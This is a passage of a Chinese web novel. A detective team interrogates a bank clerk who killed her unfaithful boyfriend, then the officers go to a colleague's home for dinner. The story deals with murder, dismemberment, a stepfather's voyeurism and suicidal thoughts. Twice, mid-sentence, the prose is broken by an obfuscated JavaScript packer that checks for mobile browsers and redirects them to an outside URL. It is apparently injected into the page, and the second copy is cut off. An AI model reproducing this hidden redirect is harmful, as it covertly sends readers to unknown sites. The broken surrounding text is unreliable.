结果一个工作日,突然有对夫妻带着警察,进了银行大堂,在大堂经理遥遥一指下,几人直奔月牙而来。 那对夫妻面目狰狞,拽住月牙便开始歇斯底里: “我的儿子呢?你快告诉我!你一定知道对不对!你还我儿子,还我儿子啊!” . 原来何元聪不仅是对她不告而别,甚至连家人都联系不到他了。 原来的出租屋早换了人住,原公司能提供的唯一线索,就是何元聪并没有本人到场提前辞职,而是发了一条信息给领导,从此再没出现。 这是不符合流程的,正式的离职手续得经过层层审批,工作需要交接给同事,笔记本电脑需要上交IT,人力那边需要签离职证明等材料等等,职场就是这样,你给别人带来了麻烦,别人对你也不会有好的评价,询问时,领导即使面对着警察和家属,还是忍不住话里有话责备何元聪的不负责任。 最后领导打听:“是不是欠了网贷什么的跑了啊?听说他想结婚,肯定很缺钱。” 所有的眼神集中射向月牙,她咬着唇委屈万分,这样说倒好像失踪是因为她逼的一样。 月牙也确实经受了多次问询甚至审讯,案子即便从普通民警处转到了刑侦组,事情从朋友圈里传到了互联网,但何元聪的失踪依旧毫无线索。 月牙在同事们异样的眼神中请了假,配合着警察去了多个地方,做了许多的调查,甚至一度像嫌犯一般被审讯,回答了好多好多的问题。 “根据调查,何元聪失踪前夜,你们同居的那间公寓用水异常?” “我,我们在里面那个了……后来出来继续,就忘了关水。” “我们查过监控,当天凌晨,何元聪从未出现在电梯内,可他的大众车却从地下车库开出去再没回来,也就是说,他就算真的是自己离开,也只能在当天凌晨,用短短几个小时,在你眼皮底下收走大半物品,并上下几十层楼梯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738996|157447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开,这已经是极其不符合常理,而你,同处一室却丝毫没有被吵醒,甚至起床后也没发现异常,直接去工作?” “因为我太累了,也许我还被下药了呢,谁知道……”月牙终于忍不住开始哭泣,“我第二天也确实没听见闹铃响,头昏昏沉沉没睡好,迷迷糊糊冲出公寓赶到公司,脸色也非常差,只是现在想起来这些异常也没用了,药力估计早被代谢掉。” “如果真像你所说感情没有问题,他为什么不告而别,甚至像你猜测那样给你下药?你听听,这合理吗?” 年轻的警察沉着脸将桌子拍得砰砰响,年长的那位便相反,劝了年轻人,又来哄月牙: “这样,你猜一猜,他离开你又辞职了,那可能会去什么地方?有没有提过和别人的恩怨?他总得有个地方去,可现在,天眼查了个遍,也只知道车子开去了郊外大海方向,其他线索一概没有,手机没用过,信用卡没刷过,车子再没出现过,连家人都不联系,你们毕竟恋爱一场,你就不担心他死活?” 月牙反而收起因为审讯带来的紧张委屈,转而扯了扯嘴角,冷漠道:“我只知道,他不告而别,是个没种的渣男。” 年长的那位虎目一瞪又换了气势:“那么,前一晚他为你代付的那笔5万的账单又怎么解释?” “不要企图说谎,我们什么都能查到,现在问你,是给你机会,懂不懂?年轻人犯错不怕,最怕就是知错不改一条死路走到底!” “也许是分手补偿吧,我真的猜不透也什么都不知道……” 月牙说了做了所有对方要求的,不停被问话配合测谎等,警方也对那间公寓喷洒了鲁米诺试剂,虽然发现了一些化学药剂导致的荧光,却不能证明那是月牙入住期间为了掩盖血迹留下的,这毕竟是一间住过很多人的出租房。 各种手段都没能找到有用线索,月牙最终洗脱了嫌疑,虽然银行的同事们都因为这事疏远她,网上也曾有人爆料过她,只是她在互联网的印迹实在太少,慢慢的热度也被别的消息取代。 日子久了,案子悬在了档案库里电脑资料里,何元聪应该就是在哪个不知名的地方,遇到了一场凶多吉少的意外,或者根本就是无声自杀了,现代人的精神状态本来就不太好。 月牙狠狠哭了一场,目送了何元聪的父母坐上动车回乡,他们在极短时间里变化重重,刻薄、苍老、凶狠、哀求、哭闹、无助,最后不骂月牙了,甚至都不开口说话,只是相互搀扶着入站回了家。 他们失去了儿子,人生也因此变得了无生趣,女儿……是有的,只是他们当初好像也不怎么珍惜。 关于这件事,银行里同事们讨论过一阵就不再提起,但家里不是的。 月牙的母亲吴芳想赶月牙走。 她没有直说,但处处是这个意思,话里颠三倒四自相矛盾,核心却不变。 ——都说你是我的女儿,其实我根本记不起来了,他们都说是那就是吧。 ——你爸不是很发财吗?你为什么不去争取一下,该是你的就是你的,我支持你。 ——理发店的生意越来越差,我现在每天就给人推推头,一头也就十来块钱,空调费都不够付的。 ——都是你爸对不起我!我大着肚子就和个不识字的女工睡一起去了,无耻恶心!现在还换了个更小的,不要脸! ——知道为什么我刚生下你就送去他家,一面都不见吗? ——因为他的背叛,因为我们离婚,我爸气倒在地上,死了! ——因为想起你们,我精神恍惚才被车撞了,到现在身体都不好! ——因为你,都是因为你! …… 月牙是决定忍的,可越来越忍不住了。 无数次她经过高楼抬头仰望时,会想象自己如一只鸟儿般从高处坠落。 然后世界可以开始爱她。 无数次她拨打一个010开头的电话,可这个全国24小时免费心理咨询的电话,从来是通的,从来没人接。 是因为她总在夜里拨通吗?还是那头本该值班的人,工作于守护的岗位,却也轻视着别人的痛苦呢? 就像月牙一路走来,曾勇敢吐露过心声的那些时刻。 朋友们说: ——到底是你爸妈,不会不爱你的。 网友们说: ——还是不累,太过矫情,无病呻呤。 …… 窒息的感觉一日深过一日,继父话不多,偷看过界的次数却越来越多,有一次深夜,月牙迷糊醒来,下意识开灯时,却见房门有缝,一对眼珠子正窥视着她。 第二天她被母亲埋怨:“房门不关好,你叔上厕所帮你关一下而已,叫得这么吓人,邻居都来打听。” 月牙知道自己没有想多,继父和继女本就是最敏感的关系之一,她不傻。 又一次,月牙确定自己关好了门,故意开灯让人以为她没在睡,再一次迷糊醒来,继父竟站在了她的床前。 天太热,她只穿了件吊带睡裙,被子踢到一边,裙子卷到腰部,脖颈腰间腿窝皆是细密的汗珠。 这一次她没有尖叫,昏黄灯光下,她冷冷盯着继父不发一眼,看着他倒退着出了房门。 月牙决定,明天就搬出去住,就先问阿豪借钱吧,哪怕因此掉入另一个未知的漩涡。 月牙没能搬成。 警察到了家中,再一次“请”走了她,罪名是杀人。 举报人是继父,继父也同时自首。 “我承认,她来家后,我一直有偷窥她,但我最过分也就是站床边摸了两把。” “然后我就听到她说梦话了。” “细节一点一点的,拼凑起来我就懂了,她杀人了啊!太可怕了!” “我只能举报啊,我怕她看我不顺眼,哪天把我也杀了,她肯定会的!” 月牙盯着喋喋不休的继父,缩在男人身后的母亲,觉得无比荒谬。 她怎么可能杀人呢?不可能的。 再一次被审讯,下水道、化粪池、消失的何元聪。 刺眼灯光下,严厉质问中,月牙终于想起来了。 何元聪是要见家长,是要求婚了,只是对象不是月牙罢了。 他在微信中对着另一个女人说:“再等等,我会和她提的。” 所以被抛弃,是她注定挣脱不掉的宿命吗? 月牙捏着手机,看向卫生间,何元聪在洗澡,他们刚刚做过。 月牙面无表情放下手机,走向了卫生间。 里面先是争吵后是沉默,许久后,浑身湿漉漉的月牙走出来。 她打开自己手机上的淘物,点开购物车那枚钻戒后,选择了好友代付,并用何元聪的手机完成了付款。 月牙缓慢勾起唇角,看着那枚璀璨夺目的钻戒,有了片刻的圆满。 13. 陷入僵局 犹如溺水的人终于挣脱出水面,池千雪一个大喘气,踉跄着后退了几步才站定。 一块头颅骨在眼前晃了晃。 是江望犯多动症,拿了个头骨模型和台上的真头骨做对比。 姜不招以为她是想事情想得入神,才突然被江望吓到,立刻捏住人衣领子示意他老实点。 “没事吧?” 池千雪摇头:“没事,我没事,只是有些头晕啦。” 说完她连做了三个深呼吸,一点都不像没事的样子,姜不招没有追问,而是接了杯水给她。 池千雪抿了抿,接着就看见这一群饿狼,竟毫不客气地拿法医宋辞放柜子里的零食饼干出来啃,空气中飘满了怪味,也不知道他们哪来的如此强悍的胃口? 大概是疑惑得太明显,姜不招解释:“目前暂时,也就只吃得下这样的了。” 他说话的时候,江望他们还哄人法医说回头一定几倍买回来给他,一边吃一边齐刷刷盯着满脸无语的宋辞忙活,终于让他再也专注不了开始赶人。 “你们很闲?”宋辞停下手上动作问。 姜不招淡定摇头:“且有的忙呢。”他和人不熟,但是没关系,很快会熟悉起来的。 “看不出来呢。”宋辞面无表情阴阳怪气得很明显。 江望咯吱咯吱将一块葱香味饼干咬碎:“嗯,不够脆了,不过也好吃的,小宋总,我们这是忙里偷闲,啊不,忙中抽空来学习学习,实在好奇啊,这人骨碎的碎缺的缺,还能查出死因吗?” “能不能的,回去等报告吧。”宋辞厚不过他们,选择了伸手送客。 倒也不是怕了他那双沾满不明液体的手套,主要还是工作要紧,于是一行人迅速连吃带拿的,呼啦啦出了鉴定中心的大门。 姜不招边注意池千雪,边问江望:“小宋总是个什么叫法?” “哦,哈哈,宋辞他老爸老宋是前一任大法医啦,现在他子承父业还是留在我们东城分局,总领尸体解剖鉴定等工作,还带了学生呢,大家就叫他小宋总嘛,是玩笑也是尊敬啦……” ……姜不招身后,池千雪像个提线木偶,呆呆跟着人往外走,对方停她也停,对方走她就走。 脑子很乱啊。 人就是月牙杀的! 可,可是…… 小说是小说,现实是现实,她怎么杀?哪来的力气杀?杀完又如何能善后到警察都查不出来的地步? 短短几个小时,要杀人要分尸还要捣碎坚硬的人骨冲进马桶,并且家里那么巧有可以干扰鲁米诺检测的化学剂,再要收拾东西并做出伪装开车出去却不见回来? 除非她能飞!而她第二天早上确实是从公寓去上班的…… 唯一的解释:她至少有一个帮手。 可是如果还有帮凶,书中为什么不写,是因为正在进行时吗?或者,是因为她也是书中一环,所以不能得知故事的全貌?甚至因为她的到来,故事还会发生变化?! 审讯室内。 被铐上的月牙仍然坚持她没有杀人。 只有池千雪明白,她是真的不记得了。 这时候她还不知道何元聪的尸骨已经被发现,所以一直主张要和母亲继父二人对质。 月牙不明白对方为什么要举报自己,两次三番被警察带走,这一次,同事们不再掩盖异样目光,领导直接不满地摇头叹气,今年的考核肯定好不了,她想的转岗也未必能成功了,谁会想要麻烦呢! 她急促呼吸着,眼泪大颗大颗落下。 老陈和吴芳被带进来。 举报人主要是继父陈自强,面对质问,老陈也终于自首。 “我承认,她来家后,我一直有偷窥她,但我最过分也就是站床边摸了两把。” “然后我就听到她说梦话了。” “细节一点一点的,拼凑起来我就懂了,她杀人了啊!太可怕了!” “我只能举报啊,我怕她看我不顺眼,哪天把我也杀了,她肯定会的!” 月牙盯着喋喋不休的继父,缩在男人身后的母亲,觉得无比荒谬。 她怎么可能杀人呢?不可能的。 两人在她将要破口大骂之前,被警官带出去了,于是一口怒火堵在半路,呼不得吸不了,难受极了。 一直旁观的池千雪心头一颤,和故事里一模一样的对话……现实来到了故事的尾声,后续一切都不再可知。 姜不招拿着法医紧急出具的DNA检测报告,语气严厉: “石厦公寓的化粪池中,我们找到了何元聪的尸骨,他的父母已经在赶来的路上,甚至何元聪的情人就在这间办公室的门外,这也是你杀人的最大动机!坦白从宽抗拒从严——” “等等,何元聪的情人?”月牙神情扭曲了一瞬,然后才是惊讶:“他真的死了?怎么会在公寓化粪池?” 如此冥顽不灵,江望得到姜不招示意,这次开门放进来一个女人。 对方是和月牙完全不同类型的……女人而已,不美,不年轻,甚至打扮上有点土气,还带着一副无边框近视眼镜。 月牙怔愣在那,半晌脱口而出:“跟踪我的人,是你?对,是你!” 她见过这个人,不止一次,在何元聪失踪前和失踪后,在转角的街口,在突然回头的视野中,甚至面对面的擦肩而过,只是对方是那样相貌平平气质平平,以至于她根本不以为然没有印象。 轰隆隆的,世界在她眼前震动翻转成了碎片,纷纷扬扬的,最后组成了无数她遗忘的画面。 月牙面上一阵风云变幻,脸色悚然发白,比原来的苍白还要白,没了任何血色,好像个已经死去的躯壳,延续活着的习惯而已。 她想起来了,什么都想起来了。 “我只是不想再被抛弃了。” 刺目灯光下,月牙木然解释道。 . 那个情人姓张,叫什么也不重要,月牙称之为张三。 她看着痛哭流涕伤心欲绝的张三,柔声道:“他会死,都是因为你哦。” 张三终于受不了打击,晕厥了过去。 月牙扯了扯嘴角,轻飘飘地呢喃:“不是我不好,真的不是我不好,是太多男人就那样,外面的屎再臭,只要新鲜就想啃一口,发情的狗而已。” 可别提什么人格魅力,能知三当三的人,能有什么人格魅力,连人格都不健全。 “不该割他喉,当时应该先割掉他的作案工具,喂他吃下去的!”月牙杀人,用的是一把刮眉刀,刮开了何元聪的颈动脉。 在场所有男士心里一寒头皮一麻。 月牙双眼无神地笑:“我着急冲动,也是他逼的啊!” “爱的时候,听了我的故事会心疼我发誓爱护我不让我伤心落泪,不爱的时候,说一切都是我活该我应得的,我掏心掏肺袒露出来的一桩桩一件件过往心事,全被他拿来刺我扎我!到底是谁要杀谁?” 江望听不下去了:“喂,不是所有男人都那样好吧,再说即便他出轨了跟你吵架了,那也不是你杀人的理由!” 月牙赞同了一半:“你说的对,世上是有好人的,好人,应该好命。” “好人,应该好命。” 池千雪觉得她话里有话,她道:“说说那个帮凶吧。” 月牙仰着苍白到近乎透明的脸,一双眸乌沉沉的,灯光下像个只欠缺腮红的老式纸扎人,浅浅笑起来,嘴角勾起的弧度都是诡异的: “哪有什么帮凶,肾上腺素给予我神奇的力量,我回过神时,阿聪已经被我弄碎冲下去了,幸好厕所没有堵住……” 姜不招于是给了她一根擀面杖(江望去存放食堂杂物的房间里找出来的),让她掰掰看: “人的骨头比花岗石都硬,想来当时也不会刚好有台碎骨机在身边,你没有帮手,就凭你一个人切割捣碎?可能吗!” 柔弱如月牙,自然是掰不断的,肾上腺素再神奇,也不能平地起高楼,总得有点底子,偏偏月牙一副惊讶的样子,好像真的不明白她的力气去了哪里,并坚持就是她自己一个人完成了对尸体的肢解。 审讯继续: “后来?后来我收拾好所有东西,伪装成阿聪开车出去,连车带东西都沉进海里了,哪片海域?在盘山公路上某一段临海峭壁那推下去的。” “我怎么回去的?走路啊,中间有段路搭车了,怎么可能还记得车牌,嗯,一直走到了天将亮,所以那天我好累,打了一个盹,醒来就全都忘了,监控为什么没拍到,似乎不该问我吧?” . 案子看似顺利,实则已经陷入僵局。 到了晚间八点多,送走到底是过来了一趟的月牙父亲,池千雪掐眉心揉太阳穴,没法顾及妆容,只想快速缓解精神上的疲劳。 对方对自己倒是很客气,对她的市长父亲更客气,又是问好又是想要哪天吃顿饭的,池千雪开始还拿不准他对月牙犯案的态度,直到他一见到人,二话不说狠狠甩了一个巴掌过去,月牙那张苍白的脸上立时浮起红肿的掌印,整个人都不稳地晃了晃,已经被这力道打懵了。 池千雪根本来不及拦,他接着就是长长一篇断绝父女关系的发言,中年男人气得头发乱了呼吸急促不再体面,唾沫横飞的样子和老陈没什么区别。 他骂月牙是个祸害,是个连妓女野鸡都不如的该死的畜生,声明两人从此毫无关系,希望月牙能被判处死刑早早执行,正告警方从即刻起任何情况——任何!都不要联系打扰他们池家…… 比较起来,竟是父亲更怨恨女儿,成了世人眼中当之无愧的受害者,池千雪不得不中断两人这最后一面。回到她自己的办公室后,那些噪音犹在耳旁盘旋挥之不去。 她知道不应该对犯人生出同情,不管是什么缘由一步步堆出了一个杀人犯,杀人了就是杀人了,她最多将可以酌情的地方如实记录,必须理智客观公事公办才对,所以她狠狠压抑住那些“如果不是……她也不会……”这样的非正确不专业的假设念头等等。 池千雪觉得头痛,甚至已经到了煎熬的地步,人性的拉扯太复杂,她应该投胎去新手村的! 一块洁白的,散发热气的毛巾出现在眼前,抬头,姜不招不知什么时候进来了,抬抬手示意她接住毛巾,眼睛里带着点不赞同:“热敷一下,比狠狠地乱掐自己有用。” 池千雪没有跟他客气,用温暖包围住自己后,她闭眼在毛巾里转了转眼球,补上一句:“谢谢啦。” 姜不招不忍弄乱她的发型,收住蠢蠢欲动的手指笑回:“客气了。” 在他眼中,池千雪的郁闷气息都快溢出来了,可似乎有某种“话语正确”的紧箍咒套着她,叫她不能肆意开口,只能拿自己额头那块撒气。 姜不招想了想道: “这世界,人共情他人遭遇,男人又尤其共情男人,女人会特别共情女人,这都是很正常的情绪,很多罪犯不是生来就坏,大多都是可怜可悲才可恨,比如此案月牙的心理问题,其家属责任重大,何元聪无论如何罪不至死,可惜最终还是成了一场悲剧。” 在姜不招和所有人眼中,月牙就是一个外表天使内心扭曲的社会准罪犯,不是因为男友出轨,也会因为别的什么刺激最终犯罪,她的成长经历内心个性,仿佛注定了她将走向深渊。 可池千雪看了那个故事,难免有了更深的体会,一颗果实烂了,错只在果实自己吗?但话又说回来,西门同样是一颗畸形恶烂的果实,为什么她却不会产生这个疑问呢? 她移开毛巾,探出一双明亮眼睛看姜不招,她抿了抿唇坦言:“可我心里更偏向女性罪犯,这是不是说明我不适合干这一行呢?” 姜不招想不到她质疑自己到了这个地步,他拉开椅子坐下认真答道: “你不是偏向女性罪犯,你只是同情你眼中的弱者,而且只要是人,就会有偏向,我也有,不要被它影响得跑偏了,事情该如何办还如何办,心里的难受,我们找其它方法来疏解。” “比如?” “比如找我聊聊,比如做做义工,比如运动打枪,又比如……”姜不招看着池千雪,停顿几秒后道,“在制度上帮助更多的弱者,不要走向深渊,而是走向光明。” 池千雪失笑,前面都好说,最后这点,怎么可能啊,她根本没有这种能力,连她的市长父亲都做不到。 一时静默,话题告一段落,姜不招看了看手表起身道:“时间差不多了,我去看看他们。” 池千雪点头:“我也去。” . 大伙这会都在小会议室里,靠墙的白板上画着案件导图,中心人物月牙的人际关系网延伸出去,另一头只挂了亲属同事,剩下的枝条头上都是空空荡荡,这一查才发现她是一个将过去全部抛弃不再来往的人。 白板静静立在那,看着旁边会议桌上摆着的电脑、纸张资料、手机、抽纸纸巾、缠绕的充电线,江望这家伙挨不住饿却只吃了一半的泡面……总之乱七八糟的,就像众人的头绪一样,杂乱无章。 唯一一点好,就是没人抽烟,不像之前西门案开联合讨论会时,好些人皱着眉头吞云吐雾的提神释压。 这会,压制住江望不许抽烟的曹空城其实也很想来上一根,不过为了养生他早就戒了,于是只好猛灌浓茶,其实这并不养生,只能说两害相权取其轻吧。 “公寓监控查了,何元聪那辆大众车,从地下停车场驶出再到郊外海边的所有路段上的监控也查了,公寓那青云也走访了,根本没查问到异常人员,更没有发现月牙出去进来的身影,还真见鬼了?” 当然,第一遍基本都是大齿梳理,肯定还要二次三次筛查,但是今天汇总到此刻,完全的一无所获还是让人有些郁闷。 姜不招两人恰好进来听到,他看了一圈,果断将他自己那台笔记本一合,敲敲桌子:“下班吧。” “钻牛角尖不可取啊,再说了,今天要去曹叔家吃饭呢,晚成这样已经太失礼了,赶紧收拾收拾门口集合!” 他们下午就惦记着要不改天的,但曹叔说家里已经备好菜只等下锅,曹姨也表示多晚都没关系,而且去吃宵夜还不如就按原计划去家里吃饭,再不好意思,也只能承情了。 “对对对,姜队说的对!”江望永远不让话掉在地上,那是能接就接,不能接也要接接看,曹空城则立刻给家里发消息。 凝固的空气被打通恢复流转,窸窸窣窣的,大家一同收拾后跑回工位准备下班。 池千雪急忙忙补妆,幸好皮肤够润彩妆也很好用,经过修补整个人又重新饱满起来,第一次去别人家做客,她可是宁愿郑重些也不要随意,所以穿了粉粉的套装,希望能被阿姨喜欢,又准备了一个小礼物放在车上了…… 片刻后,池千雪提着白色小号铂金包和大家一起集合在大楼门口。 听着对面公园传来的喧闹声,看着星月高挂,万家灯火燃起,她不禁感慨,刑警这一行,就没有按时下班的,她来这有多久,就加班了多久,说起来中间是有过周末双休的,可有案子的时候谁能睡得着坐得住呢。 第一次去人家里做客,大家各有准备。 江望从门卫亭那提了个果篮出来,步青云背的书包里也是鼓鼓的,代福音抱着盆兰花——因为花盆那套了塑料袋,没能露出蝴蝶结,所以一开始大家还以为她是因为转正了所以买来摆在工位上的,姜不招就和平常没什么区别了,也可能是包大礼物小显不出来。 池千雪看了又看,姜不招突然转头,朝着池千雪勾唇眨了眨眼。 不要看了哦,等下你就知道了。 池千雪莫名就懂了。 曹空城笑得满脸褶皱,将背过去的手伸出来搓啊搓,嗔怪大家: “你们啊你们,真是的,都自己人搞这些,那么客气干什么了,来家吃顿饭还弄这么些东西,老婆等下要骂我哦,别拿了别拿了,放回去吧,啊?带回去,叔心领了,真的!” 江望直接拆穿:“您要是别笑得合不拢嘴的吼,我也能勉强相信一下你说的!” “你个臭小子!别跑,站住!诶!我得坐你车啊臭小子!!!” 池千雪乐不可支,笑得身体乱晃,姜不招怕她晃下楼梯,侧身往前挡了挡,示意也在笑的步青云和代福音:“你们还不快去呀?等下江望开走了。” 对吼!长官的跑车就两座。 两人倒是没跑,堵在出入口等着了,池千雪还在笑,边笑边扯了扯姜不招袖子:“你的自行车搬我车上吧。” “知道要去曹叔家,我今天没骑车。” “就拜托你带带我啦。” 姜不招还真用了拜托的语气,清朗的声音柔软下来,变得低沉有磁性,轻轻响在耳边,有股风带着热气经过,池千雪露出来的耳尖抖了抖,有点热,好热。 “好啦,走啦!” 池千雪快步下去,姜不招看得眉心一跳:“慢点!天黑!” 池千雪立刻放慢速度,对哦,摔了就惨了,她也是飘了。 两人上了车,一经启动,车内自动续上了早上放到一半的歌。 是首英文舞曲,咚咚咚地在车厢内炸开,座椅似乎都跟着震动起来。 池千雪伸手调试音量,姜不招则道:“原来你喜欢听这个类型?” 池千雪笑眯眯:“对呀,我喜欢热闹的欢快的足够上头的!” 姜不招跟着笑起来:“我也喜欢。”要是有从前熟人在,此处应该啐一声:屁,他压根就不听歌。 姜不招帮她把包在后头放好,看到后座放着一个四方的礼盒,就问她:“你准备了什么?” 池千雪说:“不要看哦,回头你就知道啦。” “……好的。”姜不招系安全带,乖乖履行副驾的职责——不打扰司机开车的前提下,为司机解闷。 他想了个笑话,其实也没那么好笑,就因为这样才敢讲的,不然影响开车。 “有一个番茄一不小心掉进汤里了,于是就有了番茄汤,一个鸡蛋看见了,想去救番茄,结果也掉进去了,就有了番茄蛋花汤。” 姜不招想不明白,为什么池千雪会笑成那样,而且还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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天啊,她怎么这样乖这样坦诚,姜不招捧住她脸,轻啄了一口,笑容很干净:“没关系,被你喜欢,是我这副皮相的荣幸。” “不一定要先说定什么,千雪,我们慢慢来。” 他说完,还帮忙检查了池千雪的妆容,告诉她妆容很好,口红也没有掉色,又帮她理了理头发。 池千雪任他摆布,还是有点呆,但脚一踩上油门,她立刻回神。 气氛并没有僵掉,姜不招不敢再说笑话,除了继续指导路线外,就开始给池千雪介绍沿途的地标建筑行人趣事,原池大小姐对东城区肯定是较为陌生的,她自然也对工作的这片区域不甚了解。 关于东城区,原主能想起来的特点有三样:密密麻麻的大小楼盘夹杂几个城中村;云都电视台设立在此的录影基地;因为庞大的居住人口而发展出来,闻名全市的美食街。 现在姜不招告诉她,前方右拐进去,那个电子大厦以及边上的电子市场规模乃亚洲最大,要不是时间太晚她都想拐进去看一看再开出来,后面他又指了指隔了绿化带及非机动车道外,被夜色遮掩住只剩轮廓影子的一座校园: “我在那读的高中,那时一心兼职,没能交下些好朋友……” 虽这样说,语气里也听不出遗憾的味道,姜不招是个向前看的人,这点从他明明有接到朋友电话问好,却基本不提首都往事上就能看出。 按曹空城私下说的,换别的年轻人到了新地界,怎么也得提几件光辉往事吧?姜队竟能这样沉得住气。 池千雪嘴角含笑,姜不招说什么她都听得津津有味,她对什么都意外和好奇,这也让姜不招有些意外和好奇,时光因此流逝得飞快,两人只觉得没聊多久就到了曹空城家所在的小区外。 这是个不新不旧的普通小区,东城区有太多这样的楼盘。 好几栋楼,每栋有三十几层高,围墙一圈,里面栽种一些绿化灌木——也是流浪猫的地盘,再尽力空出一块平地钉些健身器材,大门口立个保安亭,附近往往还有个快递点,某栋楼一层设个物业办公室,再加个永远不够停的地下停车场——好点的就设个B2B3层,一个小区就成了,入住率还都挺高。 池千雪降下车速,缓缓跟着个穿黄t开电驴的外卖员开进了大门,小区里灯光很亮,红色超跑一出现就给这个普通小区投下了一阵不小的涟漪。 散步的老人孩子,刚下班的职场人,遛狗的爸妈们,还有正准备交班轮换吃饭去的几个保安,或是远观或是围上来,都在好奇这是谁家或者找谁的。 保安则粗粗一登记后就小碎步跑着热情地指路,对落下车窗的池千雪道:“停车场往那开,往那开!空的都能停,都能停!找不到车位你上来我帮你找,帮你找!” 池千雪看看前面立牌上硕大一个停车场指示箭头,还是接受了保安的好意:“好的,谢谢啦。” 车子徐徐开走,保安们在后面争论不休:“是对我说的。”“去去去,明明是对我说的,对我说的!”“还换不换班了?人明明是对大家说的,我是队长,所以主要是对我说的。” “切!” . 车子进入停车场,顺利找到空位停好后,两人在电梯前见到等了有一会的江望几人,曹空城已经先上去了,非说不放心要再收拾收拾,几人汇合后便按照他留的房号上了电梯。 停车场就这一台电梯,轿厢内却出乎意料的干净,墙面甚至清晰到可以当镜子用,截至目前为止,可以看出来,这个小区虽然普通,物业工作却做得很不错,姜不招一边打量一边下意识分析着。 池千雪和姜不招并排站在最里面,站定前池千雪对着镜子检查了一下妆容,代福音也想照,可她站在中间,前面是江望和步青云,她被堵了个严实,连头都冒不出来。 郁闷的她戳戳江望:“站开一点啦。” 正对着镜子抓抓头发自觉很有型的江望低头斜她:“好啦给你。”挪开了一点。 代福音扶扶眼镜不鸟他,照了照镜子,主要是照她那盆蝴蝶兰,并满意地点点头,江望又来凑话:“确实很漂亮,毕竟是我老家的省花,你怎么会想到送这个?我都没想到。” “因为我用心选过啊。” “你这话说的,我的果篮也是集齐了夏季名贵水果,好香好看又好吃。” 步青云看了看幼稚攀比的两个人,卸下了他的背包,掏出了——一套德国顶尖刀具,也不说话,就举高了捧在他宽阔雄壮的胸前,透过镜子众人看得清清楚楚,分明什么都没说,又好像什么都说了。 江望摸摸鼻尖:“要不要这么大手笔啊青云哥!” 步青云挺了挺胸,轻描淡写稳重从容道:“宝刀赠英雄,厨具赠大师,应该的。” 池千雪一踮脚,姜不招就默契地稍稍低头,镜子里就见池千雪举起手,挡在两人中间,用着全世界都能听见的声音,交头接耳地说着悄悄话:“他们真的好幼稚哦。” 所有人笑,转而拉两人下水:“姜队你送的什么?” 其实根本没什么好保密的,他前面也就故意逗逗池千雪,这会他就打开背包拿出来:“是盒虫草。”他没什么创意,就想着送点实在的,这个吃了确实可以提高免疫力。 大伙点点头,又去看池千雪怀里的礼盒,江望道:“我敢打赌,长官这个最贵,毕竟是五万一顿饭的人。” 池千雪瞪圆了眼睛,随即点了点头:“嗯,确实是这样哦。” 江望噎住,代福音则气得拧了江望胳膊一下:“我跟你说的时候,明明是高兴开心哇塞的态度,到了你嘴上怎么就这么欠呢!” 她还补了一刀:“你胳膊好绵软啊,掐下去全是脂肪诶。” 这回换江望瞪大了眼睛:“小代,你讲虾米哦?怎么一转正就变脸了呢?啊?上次教你个事,你还说我最好了呢!巴拉巴拉……” 最终代福音受不了这魔音贯耳,认错结束了这一趴,二十五楼也到了。 出了电梯,一排有三户人家,最右边房门大敞,饭菜香气跑了出来,不用说,肯定是曹叔家了。 进去门口,曹空城就等在玄关那,地上一次性拖鞋摆得整整齐齐。 也不客套什么“不用换直接进”这种话了,毕竟客气的后果是他这把老骨头要再拖一遍地,老婆又好客又爱干净,每回来客人都累个半死,所以他才一直炫耀却又一直不请大伙来家。 几人换好拖鞋,走进装修虽陈旧却非常温馨干净的室内,江望第一句就道:“曹叔,可算让我见到您家这庐山真面目了,真好!曹姨呢?” 必须先跟女主人问好啊。 几人东张西望的,另一头厨房最后一个菜出锅,女主人终于可以腾出手,人未到声先至:“大家快沙发上坐,空空你来端菜啊!” 大家听见“空空“这个称呼,看曹空城连声应着,正要逗趣几句呢,就见厨房门开,一个黑发盘起妆容淡雅衣着简约的优雅女士,围着围裙,一手端着一托盘的水果拼盘,一手按着轮椅按钮,从厨房里滑出来了。 露出来的厨房里,所有台面柜子等都矮了正常家庭一大截,显然是为了方便女主人在轮椅上也能操作。 眼前的女主人,虽然有裙子掩盖,还是能看出,她的膝盖以下空空荡荡,没有腿。 14. 力大无穷 “是不是吓到了?” 优雅女士笑问出声,反应不及时的众人立刻回神。 池千雪急忙放下礼盒包包要去接那果盘,其他人都紧跟了过去。 如此兴师动众,又是另一种尴尬,曹姨却笑呵呵的,任由人接过去摆上客厅茶几,她再开口招呼大家坐下,笑容热情说话也爽脆。 她先是嗔怪的看了曹空城一眼:“真是的,也不提前和人说一声家里的情况。” 曹空城,曹空城转移视线,选择瞪刚坐下的江望:“那在我眼里,这也不是什么炸弹啊,哪里会想到还要防爆喽!” 江望:“对对对,其实虽然没见过,但是我感觉认识您已经很久了,特别亲切的耶!讲真,本来要喊姨的,可您这么年轻,我可喊不出口了!” 还得是江望暖场小达人,不嘴贱时还是有点用的,说出了大伙的心声,曹姨看起来跟曹叔那小老头完全就不是一代人啊,保养得也太好了,或者根本就是老夫少妻? 江望嘴上叽里呱啦个不停,还能找出空档崇拜地看看曹空城走开忙碌的身影,心想:“我叔真不愧是我叔,人不可貌相!”两句话是否矛盾?不管,反正他得学习学习。 总而言之,大家一致默契地跳过了那个敏感话题:怎么会这样?她发生了什么?又怎么能叫这样的她操劳做饭招待自己呢? 曹姨却大方地自我介绍起来:“我姓王,单名一个莉,很高兴见到大家,总听空空提起你们的优秀,还有两位领导,真的是年少有为令人敬佩!” 她继续:“我这情况呀,有好几年了,那时不幸出了场车祸,万幸的是如今生活便利医疗进步,经常也会安上假肢下楼走走,习惯之后,还觉得自己挺特别的呢。” 